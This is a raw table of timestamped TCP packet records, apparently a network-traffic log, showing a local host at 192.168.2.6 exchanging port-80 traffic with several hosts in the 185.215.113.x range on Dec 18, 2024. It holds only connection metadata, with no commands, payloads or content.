Dec 18, 2024 12:00:11.149418116 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.149430037 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.149446964 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.149477005 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.150332928 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.153161049 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.264509916 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.264524937 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.264591932 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.264591932 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.266113043 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.266243935 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.266773939 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.267081976 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.267688990 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.267750978 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.268430948 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.268445969 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.268457890 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.268613100 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.270127058 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.270139933 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.270201921 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.270201921 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.274393082 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.274415970 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.274487019 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.274487019 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.275702000 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.275716066 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.275778055 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.275778055 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.277621984 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.277637959 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.277690887 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.277690887 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.278578997 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.278678894 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.279217958 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.279328108 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.280687094 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.280774117 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.281492949 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.281518936 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.281533003 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.281553030 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.281570911 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.281599045 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.282356024 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.282435894 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.282464981 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.282514095 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.283348083 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.283363104 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.283423901 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.285326004 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.285340071 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.285393953 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.285393953 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.287522078 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.287566900 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.287595987 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.287661076 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.288563013 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.288578033 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.288635969 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.289624929 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.289638996 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.289675951 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.289696932 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.292305946 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.292437077 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.292962074 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.292973995 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.293004036 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.293030977 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.293042898 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.293061972 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.293123007 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.293854952 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.293869019 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.293914080 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.295564890 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.295578003 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.296463966 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.298168898 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.298182964 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.298245907 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.298258066 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.298258066 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.298723936 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.298949957 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.299334049 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.299958944 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.299971104 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.300513983 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.300791025 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.300803900 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.300869942 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.300869942 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.303097963 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.303111076 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.303145885 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.303206921 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.303350925 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.303735018 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.303766012 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.303803921 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.303803921 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.303819895 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.303917885 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.304707050 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.304728031 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.304779053 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.304779053 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.306278944 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.306293011 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.306359053 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.307305098 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.307400942 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.308142900 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.308171034 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.308182001 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.308199883 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.308233976 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.308234930 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.310889959 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.310902119 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.310971975 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.311851025 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.311928034 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.312701941 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.312715054 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.312726021 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.312737942 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.312747955 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.312757969 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.312797070 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.313651085 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.313663006 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.313741922 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.315437078 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.315449953 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.315515995 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.317379951 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.317393064 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.317442894 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.318274021 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.318286896 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.318461895 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.319094896 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.319117069 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.319181919 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.321050882 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.321063042 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.321119070 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.321119070 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.322679996 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.322700024 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.322710991 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.322747946 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.322747946 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.322762012 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.322912931 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.323688030 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.323699951 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.323725939 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.323775053 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.323775053 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.324572086 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.324654102 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.324709892 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.325706005 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.325783014 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.326452017 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.326466084 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.326541901 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.327410936 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.327611923 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.328243971 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.328308105 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.328322887 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.328356981 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.328356981 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.330092907 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.330106020 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.330117941 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.330131054 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.330157042 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.330183983 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.331069946 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.331152916 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.444032907 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.444109917 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.444154978 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.444205999 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.445250988 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.445264101 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.445297003 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.445352077 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.446177006 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.446233988 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.446683884 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.446697950 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.446732998 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.446775913 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.447789907 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.447801113 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.447845936 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.449186087 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.449198961 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.449244976 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.450037003 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.450052023 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.450089931 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.451092005 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.451106071 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.451148033 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.452277899 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.452290058 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.452347040 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.453614950 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.453628063 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.453670025 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.453739882 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.454490900 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.454504967 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.454547882 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.454547882 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.455215931 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.455291033 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.455985069 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.456057072 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.456813097 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.456825972 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.456866980 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.456902027 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.457035065 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.457086086 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.457570076 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.457648993 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.457916021 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.457937002 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.457978010 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.459399939 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.459412098 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.459465981 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.460107088 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.460119963 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.460184097 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.460184097 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.461165905 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.461179018 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.461222887 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.461222887 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.461771965 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.461786985 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.461818933 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.461839914 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.462436914 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.462447882 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.462492943 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.462558985 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.463224888 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.463237047 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.463272095 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.463332891 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.464412928 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.464453936 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.464482069 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.464694023 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.465503931 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.465517998 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.465550900 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.466006041 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.466017962 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.466058016 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.466943026 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.466964006 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.466989994 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.467017889 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.467308044 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.467350960 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.467705965 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.467773914 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.468141079 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.468229055 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.468347073 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.468391895 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.469017029 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.469108105 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.469152927 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.469152927 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:12.179511070 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:12.179719925 CET	49925	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:12.358629942 CET	80	49925	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:12.359540939 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:12.361160040 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:12.361174107 CET	49925	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:12.403736115 CET	49925	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:12.555696011 CET	80	49925	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:13.465128899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:13.465205908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:13.466605902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:13.593961954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:13.693279982 CET	80	49925	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:13.695606947 CET	49925	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:13.699320078 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:13.819087029 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:13.819257021 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:13.819451094 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:13.928318024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:13.928340912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:13.928407907 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:13.928452015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:13.939735889 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:14.119090080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.119199038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:14.120414972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:14.239942074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.611038923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.611102104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:14.611133099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.611145973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.611157894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.611169100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.611185074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:14.611197948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.611207008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:14.611215115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.611217022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:14.611243010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:14.611253977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:14.612413883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.612468004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:14.759761095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:14.759932041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:15.006077051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:15.125726938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.163052082 CET	80	49930	185.215.113.36	192.168.2.6
